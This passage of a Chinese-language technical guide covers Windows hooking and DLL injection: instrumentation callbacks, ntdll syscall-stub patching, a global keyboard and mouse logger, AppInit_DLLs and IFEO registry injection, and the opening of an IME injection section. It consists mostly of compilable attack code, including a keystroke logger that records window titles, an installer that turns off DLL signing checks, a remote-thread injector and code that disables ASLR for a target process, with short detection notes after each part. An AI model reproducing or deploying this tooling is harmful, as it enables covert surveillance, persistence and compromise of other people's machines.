  • Windows x64 系统函数不再使用 mov edi, edi 前导
  • 主要适用于 32 位代码或旧版系统
  • 现代 Windows 的 Hotpatch 机制已经完全不同(使用 /hotpatch 编译选项生成 2字节 NOP)

1.8 Instrumentation Callback Hook(用户态全局 syscall 回调)

原理

Windows 提供了 NtSetInformationProcess + ProcessInstrumentationCallback 机制。设置后每次从内核返回用户态时,都会跳转到指定的回调函数,相当于 Hook 了所有系统调用的返回路径。

完整实现(可编译 x64 ASM)

#include <windows.h>
#include <winternl.h>

// 未导出的结构体
typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION {
    ULONG Version;    // 0 for x64, 1 for x86
    ULONG Reserved;
    PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;

// NtSetInformationProcess 原型
typedef NTSTATUS(NTAPI* fnNtSetInformationProcess)(
    HANDLE ProcessHandle,
    ULONG ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength
);

#define ProcessInstrumentationCallback 40

// 全局变量
volatile LONG g_insideCallback = 0;  // 防止递归
PVOID g_callbackTarget = NULL;       // 我们要监控的函数

// Instrumentation Callback 入口点(必须是裸函数,手动管理栈)
// 进入时的寄存器状态:
//   R10 = 原始返回地址(syscall 返回后本来要去的地方)
//   RAX = syscall 返回值
//   所有其他寄存器保持 syscall 返回时的状态
extern void InstrumentationCallbackEntry(void);

// 简化版 C 实现(使用内联汇编替代,仅适用于 MSVC x86 或需要单独 .asm)
// 对于纯 C 项目,可以使用 shellcode 方式:
BYTE g_callbackShellcode[] = {
    0x50,                               // push rax
    0x51,                               // push rcx
    0x52,                               // push rdx
    0x53,                               // push rbx
    0x55,                               // push rbp
    0x56,                               // push rsi
    0x57,                               // push rdi
    0x41, 0x50,                         // push r8
    0x41, 0x51,                         // push r9
    0x41, 0x52,                         // push r10
    0x41, 0x53,                         // push r11
    0x41, 0x54,                         // push r12
    0x41, 0x55,                         // push r13
    0x41, 0x56,                         // push r14
    0x41, 0x57,                         // push r15
    0x9C,                               // pushfq
    0x48, 0x83, 0xEC, 0x28,             // sub rsp, 0x28
    0x49, 0x89, 0xD1,                   // mov r9, rdx (保存)
    0x4C, 0x89, 0xD1,                   // mov rcx, r10 (返回地址)
    0x48, 0x89, 0xC2,                   // mov rdx, rax (syscall 返回值)
    0xFF, 0x15, 0x00, 0x00, 0x00, 0x00, // call [rip+0] → 这里需要 patch 为实际地址
    // ... 恢复寄存器 ...
    0x48, 0x83, 0xC4, 0x28,             // add rsp, 0x28
    0x9D,                               // popfq
    0x41, 0x5F,                         // pop r15
    0x41, 0x5E,                         // pop r14
    0x41, 0x5D,                         // pop r13
    0x41, 0x5C,                         // pop r12
    0x41, 0x5B,                         // pop r11
    0x41, 0x5A,                         // pop r10
    0x41, 0x59,                         // pop r9
    0x41, 0x58,                         // pop r8
    0x5F,                               // pop rdi
    0x5E,                               // pop rsi
    0x5D,                               // pop rbp
    0x5B,                               // pop rbx
    0x5A,                               // pop rdx
    0x59,                               // pop rcx
    0x58,                               // pop rax
    0x41, 0xFF, 0xE2                    // jmp r10
};

// C 处理函数
void InstrumentationCallbackHandler(PVOID returnAddress, ULONG64 syscallReturnValue) {
    // returnAddress 是内核返回后要去的用户态地址
    // 通过 returnAddress 可以判断是哪个 syscall(返回到 ntdll 的哪个 stub)

    // 例:监控 NtReadVirtualMemory 的返回
    // if (returnAddress == NtReadVirtualMemory_RetAddr) { ... }

    // 也可以修改 RAX 来篡改 syscall 返回值
}

// 安装 Instrumentation Callback
BOOL InstallInstrumentationCallback() {
    fnNtSetInformationProcess NtSetInformationProcess =
        (fnNtSetInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");

    if (!NtSetInformationProcess) return FALSE;

    // 分配可执行内存给 shellcode
    PVOID pCallback = VirtualAlloc(NULL, sizeof(g_callbackShellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pCallback, g_callbackShellcode, sizeof(g_callbackShellcode));

    // Patch shellcode 中的函数指针
    // (实际使用时需要正确计算偏移)

    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
        .Version = 0,  // x64
        .Reserved = 0,
        .Callback = pCallback
    };

    NTSTATUS status = NtSetInformationProcess(
        GetCurrentProcess(),
        ProcessInstrumentationCallback,
        &info,
        sizeof(info)
    );

    return NT_SUCCESS(status);
}

// 移除 Instrumentation Callback
BOOL RemoveInstrumentationCallback() {
    fnNtSetInformationProcess NtSetInformationProcess =
        (fnNtSetInformationProcess)GetProcAddress(
            GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");

    PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
        .Version = 0,
        .Reserved = 0,
        .Callback = NULL  // 设为 NULL 即可移除
    };

    NTSTATUS status = NtSetInformationProcess(
        GetCurrentProcess(),
        ProcessInstrumentationCallback,
        &info,
        sizeof(info)
    );

    return NT_SUCCESS(status);
}

检测难度:★★★☆☆

  • 不修改任何函数代码
  • 但可以通过 NtQueryInformationProcess 查询是否设置了 Instrumentation Callback
  • 内核中 EPROCESS.InstrumentationCallback 字段直接可读
  • 某些反作弊直接清零该字段

优点

  • 一次设置,拦截所有系统调用返回
  • 不需要知道具体函数地址
  • 纯用户态操作,不需要内核驱动

局限

  • 只能在 syscall 返回路径上拦截,无法拦截普通函数调用
  • 防递归处理很关键(回调内的 syscall 会再次触发回调)
  • 需要 SeDebugPrivilege 来设置其他进程的回调

1.9 Syscall Hook(用户态直接系统调用劫持)

原理

现代反作弊会直接从 ntdll.dll 中读取 syscall 编号(SSN),绕过所有用户态 Hook 直接执行 syscall 指令。对抗方式是修改 ntdll 的 syscall stub 中的 SSN 或 syscall 指令本身。

完整实现(含多种绕过方案)

#include <windows.h>

// 方案 1:修改 SSN(让调用者不知情地调用另一个 syscall)
BOOL PatchSsn(const char* funcName, DWORD newSsn) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;

    // 验证 stub 结构
    if (pStub[0] != 0x4C || pStub[1] != 0x8B || pStub[2] != 0xD1 || pStub[3] != 0xB8)
        return FALSE;

    // pStub[4..7] 是 SSN
    DWORD oldProtect;
    VirtualProtect(pStub + 4, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(DWORD*)(pStub + 4) = newSsn;
    VirtualProtect(pStub + 4, 4, oldProtect, &oldProtect);
    return TRUE;
}

// 方案 2:替换 syscall 为 int 2e(触发不同的内核入口,可被内核 Hook 拦截)
BOOL PatchSyscallToInt2e(const char* funcName) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;

    // 找到 syscall 指令 (0F 05)
    for (int i = 0; i < 32; i++) {
        if (pStub[i] == 0x0F && pStub[i+1] == 0x05) {
            DWORD oldProtect;
            VirtualProtect(pStub + i, 2, PAGE_EXECUTE_READWRITE, &oldProtect);
            pStub[i] = 0xCD;     // int
            pStub[i+1] = 0x2E;   // 0x2E
            VirtualProtect(pStub + i, 2, oldProtect, &oldProtect);
            return TRUE;
        }
    }
    return FALSE;
}

// 方案 3:完整替换 syscall stub 为自定义跳转
BOOL PatchSyscallStub(const char* funcName, PVOID hookFunc) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
    if (!pStub) return FALSE;

    // 将整个 stub 替换为跳转到我们的函数
    // 原始 stub 约 20 字节,足够放一个 14 字节绝对跳转
    DWORD oldProtect;
    VirtualProtect(pStub, 14, PAGE_EXECUTE_READWRITE, &oldProtect);

    pStub[0] = 0xFF;
    pStub[1] = 0x25;
    *(DWORD*)(pStub + 2) = 0;
    *(UINT64*)(pStub + 6) = (UINT64)hookFunc;

    VirtualProtect(pStub, 14, oldProtect, &oldProtect);
    return TRUE;
}

// 方案 4:Syscall 重映射(将 ntdll 从磁盘重新映射一份干净副本)
// 用于对抗:检测 ntdll 是否被修改
HMODULE RemapCleanNtdll() {
    // 从磁盘读取干净的 ntdll
    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;

    HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    PVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

    CloseHandle(hMapping);
    CloseHandle(hFile);

    // 现在 pClean 是一份干净的 ntdll 映射
    // 可以从这里获取真实的 syscall 编号
    return (HMODULE)pClean;
}

// 从干净 ntdll 提取 SSN(用于直接 syscall)
DWORD GetCleanSsn(HMODULE hCleanNtdll, const char* funcName) {
    BYTE* pFunc = (BYTE*)GetProcAddress(hCleanNtdll, funcName);
    if (!pFunc) return -1;
    if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
        return *(DWORD*)(pFunc + 4);
    }
    return -1;
}

检测难度:★★☆☆☆

直接读取 ntdll 的 .text 段对比磁盘文件即可发现修改。

关键对抗

现代反作弊(如 EAC、BattlEye)的做法:

  1. 从磁盘重新映射一份干净 ntdll
  2. 直接从干净副本中提取 SSN
  3. 用自己的 syscall 汇编直接调用内核,完全绕过被 Hook 的 ntdll

1.10 SetWindowsHookEx(Windows 消息钩子)

原理

Windows 消息机制提供了全局钩子接口 SetWindowsHookEx,可以拦截系统范围内的键盘、鼠标、窗口消息等事件。设置全局钩子时,系统会将指定的 DLL 注入到所有拥有消息循环的进程中,这使它成为最经典的 DLL 注入 + 行为监控手段。

钩子类型包括:WH_KEYBOARD_LL(低级键盘)、WH_MOUSE_LL(低级鼠标)、WH_CBT(窗口创建/销毁/激活)、WH_GETMESSAGE(消息队列)、WH_CALLWNDPROC(窗口过程调用)等。

完整实现

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "user32.lib")

typedef struct {
    HHOOK hKeyboard;
    HHOOK hMouse;
    HHOOK hCbt;
    FILE* logFile;
    BOOL running;
} HOOK_ENGINE;

static HOOK_ENGINE g_engine = {0};

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
        const char* action = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "DOWN" : "UP";

        char keyName[64] = {0};
        GetKeyNameTextA((LONG)(MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_VSC) << 16), keyName, sizeof(keyName));

        DWORD pid = 0;
        HWND fg = GetForegroundWindow();
        GetWindowThreadProcessId(fg, &pid);

        char windowTitle[256] = {0};
        GetWindowTextA(fg, windowTitle, sizeof(windowTitle));

        fprintf(g_engine.logFile, "[%s] VK=0x%02X Scan=0x%02X Key=%s PID=%lu Window=%s flags=0x%08X\n",
            action, kb->vkCode, kb->scanCode, keyName, pid, windowTitle, kb->flags);
        fflush(g_engine.logFile);

        if (kb->flags & LLKHF_INJECTED) {
            // 标记注入的键盘事件(来自 SendInput/keybd_event)
        }
    }
    return CallNextHookEx(g_engine.hKeyboard, nCode, wParam, lParam);
}

LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        MSLLHOOKSTRUCT* ms = (MSLLHOOKSTRUCT*)lParam;

        const char* event = "UNKNOWN";
        switch (wParam) {
            case WM_LBUTTONDOWN: event = "LDOWN"; break;
            case WM_LBUTTONUP:   event = "LUP"; break;
            case WM_RBUTTONDOWN: event = "RDOWN"; break;
            case WM_RBUTTONUP:   event = "RUP"; break;
            case WM_MOUSEMOVE:   return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
            case WM_MOUSEWHEEL:  event = "WHEEL"; break;
        }

        HWND target = WindowFromPoint(ms->pt);
        char className[128] = {0};
        GetClassNameA(target, className, sizeof(className));

        fprintf(g_engine.logFile, "[MOUSE] %s (%d,%d) Target=%s flags=0x%08X\n",
            event, ms->pt.x, ms->pt.y, className, ms->flags);
        fflush(g_engine.logFile);
    }
    return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
}

LRESULT CALLBACK CbtProc(int nCode, WPARAM wParam, LPARAM lParam) {
    switch (nCode) {
        case HCBT_CREATEWND: {
            CBT_CREATEWNDA* cbt = (CBT_CREATEWNDA*)lParam;
            if (cbt->lpcs->lpszName) {
                fprintf(g_engine.logFile, "[CBT] CREATE hwnd=%p class=%s title=%s\n",
                    (void*)(ULONG_PTR)wParam,
                    cbt->lpcs->lpszClass ? (const char*)cbt->lpcs->lpszClass : "?",
                    cbt->lpcs->lpszName ? cbt->lpcs->lpszName : "?");
            }
            break;
        }
        case HCBT_DESTROYWND:
            fprintf(g_engine.logFile, "[CBT] DESTROY hwnd=%p\n", (void*)(ULONG_PTR)wParam);
            break;
        case HCBT_ACTIVATE:
            fprintf(g_engine.logFile, "[CBT] ACTIVATE hwnd=%p\n", (void*)(ULONG_PTR)wParam);
            break;
    }
    fflush(g_engine.logFile);
    return CallNextHookEx(g_engine.hCbt, nCode, wParam, lParam);
}

BOOL InstallGlobalHooks() {
    g_engine.logFile = fopen("C:\\hook_log.txt", "a");
    if (!g_engine.logFile) return FALSE;

    g_engine.hKeyboard = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandleA(NULL), 0);
    g_engine.hMouse = SetWindowsHookExA(WH_MOUSE_LL, LowLevelMouseProc, GetModuleHandleA(NULL), 0);
    g_engine.hCbt = SetWindowsHookExA(WH_CBT, CbtProc, GetModuleHandleA(NULL), 0);

    if (!g_engine.hKeyboard && !g_engine.hMouse && !g_engine.hCbt) {
        fclose(g_engine.logFile);
        return FALSE;
    }

    g_engine.running = TRUE;
    return TRUE;
}

void UninstallGlobalHooks() {
    if (g_engine.hKeyboard) { UnhookWindowsHookEx(g_engine.hKeyboard); g_engine.hKeyboard = NULL; }
    if (g_engine.hMouse)    { UnhookWindowsHookEx(g_engine.hMouse);    g_engine.hMouse = NULL; }
    if (g_engine.hCbt)      { UnhookWindowsHookEx(g_engine.hCbt);      g_engine.hCbt = NULL; }
    if (g_engine.logFile)   { fclose(g_engine.logFile); g_engine.logFile = NULL; }
    g_engine.running = FALSE;
}

// 全局钩子 DLL 版本(注入到目标进程)
// hookdll.c - 编译为 hookdll.dll
#ifdef BUILD_HOOK_DLL

#pragma data_seg(".shared")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")

HINSTANCE g_hInst = NULL;

LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        MSG* msg = (MSG*)lParam;
        // DLL 已注入目标进程,可以在此执行任意代码
        // 例如:Hook 目标进程的 API、读取内存、修改行为等
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

__declspec(dllexport) BOOL StartHook() {
    g_hHook = SetWindowsHookExA(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
    return g_hHook != NULL;
}

__declspec(dllexport) void StopHook() {
    if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        g_hInst = hModule;
        DisableThreadLibraryCalls(hModule);
    }
    return TRUE;
}
#endif

int main() {
    if (!InstallGlobalHooks()) {
        printf("Failed to install hooks\n");
        return 1;
    }
    printf("Global hooks installed. Press Ctrl+C to exit.\n");

    MSG msg;
    while (GetMessageA(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageA(&msg);
    }

    UninstallGlobalHooks();
    return 0;
}

检测方法

  • GetWindowsHookEx 枚举当前安装的全局钩子
  • 检查进程中是否加载了非预期的 DLL
  • 监控 SetWindowsHookEx 调用(通过 API Monitor 或 ETW)
  • 低级钩子(WH_KEYBOARD_LL/WH_MOUSE_LL)不注入 DLL,但需要消息循环保持活跃

1.11 AppInit_DLLs(注册表全局注入)

原理

Windows 在加载 user32.dll 时会检查注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs,如果该键非空,则将指定的 DLL 加载到每个使用 user32.dll 的进程中。这是最古老的全局注入手段之一。

Win8+ 需要额外设置 LoadAppInit_DLLs = 1,Win10 Secure Boot 模式下被彻底禁用(RequireSignedAppInit_DLLs)。

完整实现

#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")

#define APPINIT_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
#define APPINIT_KEY_WOW64 L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows"

typedef struct {
    WCHAR dllPath[MAX_PATH];
    BOOL is64bit;
    BOOL requireSigned;
} APPINIT_CONFIG;

BOOL EnableAppInitDlls(const WCHAR* dllPath, BOOL enable) {
    HKEY hKey;
    LPCWSTR keyPath = APPINIT_KEY;

    LONG ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hKey);
    if (ret != ERROR_SUCCESS) return FALSE;

    if (enable) {
        // 设置 LoadAppInit_DLLs = 1
        DWORD loadFlag = 1;
        RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));

        // 读取现有值,追加新 DLL 路径
        WCHAR existing[4096] = {0};
        DWORD existingSize = sizeof(existing);
        RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);

        if (wcsstr(existing, dllPath) == NULL) {
            if (wcslen(existing) > 0) wcscat_s(existing, 4096, L" ");
            wcscat_s(existing, 4096, dllPath);
        }

        RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));

        // 禁用签名要求(仅测试环境)
        DWORD signFlag = 0;
        RegSetValueExW(hKey, L"RequireSignedAppInit_DLLs", 0, REG_DWORD, (BYTE*)&signFlag, sizeof(DWORD));
    } else {
        // 从现有值中移除指定 DLL
        WCHAR existing[4096] = {0};
        DWORD existingSize = sizeof(existing);
        RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);

        WCHAR* found = wcsstr(existing, dllPath);
        if (found) {
            size_t dllLen = wcslen(dllPath);
            // 移除路径和前后的空格
            WCHAR* afterDll = found + dllLen;
            if (*afterDll == L' ') afterDll++;
            wmemmove(found, afterDll, wcslen(afterDll) + 1);
            // 清理尾部空格
            size_t len = wcslen(existing);
            while (len > 0 && existing[len-1] == L' ') existing[--len] = L'\0';
        }

        RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));

        if (wcslen(existing) == 0) {
            DWORD loadFlag = 0;
            RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
        }
    }

    RegCloseKey(hKey);
    return TRUE;
}

// 被注入的 DLL 代码
#ifdef BUILD_PAYLOAD_DLL
#include <tlhelp32.h>

static BOOL g_initialized = FALSE;
static CHAR g_targetProcess[MAX_PATH] = "target.exe";

void PayloadMain() {
    char currentExe[MAX_PATH];
    GetModuleFileNameA(NULL, currentExe, MAX_PATH);
    char* exeName = strrchr(currentExe, '\\');
    exeName = exeName ? exeName + 1 : currentExe;

    if (_stricmp(exeName, g_targetProcess) != 0) return;

    // 仅在目标进程中执行 payload
    // 示例:IAT Hook + 行为修改
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    // ... 执行具体 Hook 逻辑
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    switch (reason) {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hModule);
            if (!g_initialized) {
                g_initialized = TRUE;
                PayloadMain();
            }
            break;
    }
    return TRUE;
}
#endif

// 安装器
int wmain(int argc, WCHAR* argv[]) {
    if (argc < 3) {
        wprintf(L"Usage: appinit_installer.exe <install|uninstall> <dll_path>\n");
        return 1;
    }

    BOOL install = (_wcsicmp(argv[1], L"install") == 0);

    if (!PathFileExistsW(argv[2]) && install) {
        wprintf(L"DLL not found: %s\n", argv[2]);
        return 1;
    }

    if (EnableAppInitDlls(argv[2], install)) {
        wprintf(L"%s successful: %s\n", install ? L"Install" : L"Uninstall", argv[2]);

        // 同时处理 WOW64 路径(32位进程在64位系统上)
        BOOL isWow64 = FALSE;
        IsWow64Process(GetCurrentProcess(), &isWow64);
        if (!isWow64) {
            HKEY hKey;
            if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, APPINIT_KEY_WOW64, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
                DWORD loadFlag = install ? 1 : 0;
                RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
                RegCloseKey(hKey);
                wprintf(L"WOW64 key also updated\n");
            }
        }
    } else {
        wprintf(L"Failed (need administrator privileges)\n");
        return 1;
    }

    return 0;
}

检测方法

  • 监控注册表键 AppInit_DLLsLoadAppInit_DLLs 的变更
  • 启用 Secure Boot + RequireSignedAppInit_DLLs 彻底阻止
  • Process Monitor 观察 user32.dll 加载时的注册表查询

1.12 IFEO(映像劫持 / 调试器重定向)

原理

Image File Execution Options(映像文件执行选项)是 Windows 提供的调试辅助功能。通过在注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe> 下设置 Debugger 值,可以让系统在启动指定程序时自动启动另一个程序(原程序路径作为参数传入)。

高级用法还包括 GlobalFlag(启用页堆等调试功能)和 VerifierDlls(Application Verifier 注入自定义 DLL)。

完整实现

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "advapi32.lib")

#define IFEO_BASE L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"

typedef enum {
    IFEO_DEBUGGER,        // 经典 Debugger 重定向
    IFEO_VERIFIER,        // Application Verifier DLL 注入
    IFEO_GLOBALFLAG,      // 全局标志(页堆、栈回溯等)
    IFEO_MITIGATION,      // 进程缓解策略修改
    IFEO_SILENT_EXIT      // 静默退出监控(WerFault 劫持)
} IFEO_METHOD;

BOOL InstallIfeo(const WCHAR* targetExe, const WCHAR* payload, IFEO_METHOD method) {
    WCHAR keyPath[512];
    swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);

    HKEY hKey;
    DWORD disposition;
    LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
    if (ret != ERROR_SUCCESS) return FALSE;

    BOOL result = FALSE;

    switch (method) {
        case IFEO_DEBUGGER: {
            // 方法1:经典 Debugger 劫持
            // 当系统启动 targetExe 时,实际启动的是 payload,targetExe 作为参数
            result = (RegSetValueExW(hKey, L"Debugger", 0, REG_SZ,
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }

        case IFEO_VERIFIER: {
            // 方法2:Application Verifier 注入
            // 设置 GlobalFlag 启用 verifier,指定自定义 verifier DLL
            DWORD globalFlag = 0x100;  // FLG_APPLICATION_VERIFIER
            RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD, (BYTE*)&globalFlag, sizeof(DWORD));
            result = (RegSetValueExW(hKey, L"VerifierDlls", 0, REG_SZ,
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }

        case IFEO_GLOBALFLAG: {
            // 方法3:启用页堆 + 栈回溯等调试功能
            DWORD flags = 0x02000000 | 0x1000;  // FLG_HEAP_PAGE_ALLOCS | FLG_USER_STACK_TRACE_DB
            result = (RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD,
                (BYTE*)&flags, sizeof(DWORD)) == ERROR_SUCCESS);
            break;
        }

        case IFEO_MITIGATION: {
            // 方法4:修改进程缓解策略
            // 例如禁用 CFG、禁用 ASLR 等(降低目标安全性后再攻击)
            DWORD64 policy = 0;
            // PROCESS_CREATION_MITIGATION_POLICY_FORCE_RELOCATE_IMAGES_ALWAYS_OFF
            policy |= (0x2ULL << 8);
            // PROCESS_CREATION_MITIGATION_POLICY_BOTTOM_UP_ASLR_ALWAYS_OFF
            policy |= (0x2ULL << 16);

            WCHAR mitigation[128];
            swprintf_s(mitigation, 128, L"%llu", policy);
            result = (RegSetValueExW(hKey, L"MitigationOptions", 0, REG_SZ,
                (BYTE*)mitigation, (DWORD)((wcslen(mitigation) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
            break;
        }

        case IFEO_SILENT_EXIT: {
            // 方法5:静默退出监控
            // 当进程退出时触发 WerFault 或自定义监控程序
            DWORD reportingMode = 1;  // LAUNCH_MONITORPROCESS
            RegSetValueExW(hKey, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
            result = (RegSetValueExW(hKey, L"MonitorProcess", 0, REG_SZ,
                (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);

            // 还需要在 SilentProcessExit 子键配置
            WCHAR silentKey[512];
            swprintf_s(silentKey, 512, L"%s\\%s\\SilentProcessExit", IFEO_BASE, targetExe);
            HKEY hSilent;
            if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, silentKey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hSilent, NULL) == ERROR_SUCCESS) {
                RegSetValueExW(hSilent, L"MonitorProcess", 0, REG_SZ, (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR)));
                RegSetValueExW(hSilent, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
                RegCloseKey(hSilent);
            }
            break;
        }
    }

    RegCloseKey(hKey);
    return result;
}

BOOL RemoveIfeo(const WCHAR* targetExe) {
    WCHAR keyPath[512];
    swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
    return (RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath) == ERROR_SUCCESS);
}

// Debugger 代理程序(作为 payload 使用)
// 当系统通过 IFEO 启动此程序时,原始 exe 路径在 argv[1]
#ifdef BUILD_DEBUGGER_PROXY
int wmain(int argc, WCHAR* argv[]) {
    if (argc < 2) return 1;

    // argv[1] = 原始目标程序路径
    // 可以在此注入 DLL 后再启动目标程序

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    // 注入方式:CREATE_SUSPENDED -> 注入 DLL -> ResumeThread
    if (CreateProcessW(argv[1], GetCommandLineW(), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        // 在这里执行 DLL 注入
        WCHAR dllToInject[] = L"C:\\payload.dll";
        SIZE_T dllPathSize = (wcslen(dllToInject) + 1) * sizeof(WCHAR);

        LPVOID remoteBuf = VirtualAllocEx(pi.hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
        WriteProcessMemory(pi.hProcess, remoteBuf, dllToInject, dllPathSize, NULL);

        HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
        LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");

        HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibrary, remoteBuf, 0, NULL);
        WaitForSingleObject(hThread, 5000);
        CloseHandle(hThread);
        VirtualFreeEx(pi.hProcess, remoteBuf, 0, MEM_RELEASE);

        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    return 0;
}
#endif

int wmain(int argc, WCHAR* argv[]) {
    // 示例:对 notepad.exe 安装 IFEO Debugger 劫持
    InstallIfeo(L"notepad.exe", L"C:\\debugger_proxy.exe", IFEO_DEBUGGER);
    wprintf(L"IFEO installed for notepad.exe\n");

    // 示例:对 target.exe 安装 Verifier DLL 注入
    InstallIfeo(L"target.exe", L"payload.dll", IFEO_VERIFIER);
    wprintf(L"Verifier DLL injection configured for target.exe\n");

    return 0;
}

检测方法

  • 监控 IFEO 注册表键的创建和修改(Sysmon Event ID 12/13)
  • 检查所有 IFEO 子键是否有 DebuggerVerifierDllsMonitorProcess 等可疑值
  • 应用白名单:仅允许已知调试器(如 vsjitdebugger.exe)作为 Debugger

1.13 IME 注入(输入法注入)

原理

Windows 输入法(IME)通过注册表 HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layouts 注册,每个输入法对应一个 DLL。当用户切换到该输入法时,系统会将对应的 IME DLL 加载到当前焦点进程中。通过注册一个伪造的输入法 DLL,可以实现对任意 GUI 进程的 DLL 注入。

更高级的方式是使用 Text Services Framework(TSF),通过 COM 接口注册 Text Input Processor,实现更隐蔽的注入。

完整实现

#include <windows.h>
#include <imm.h>
#include <stdio.h>

#pragma comment(lib, "imm32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")

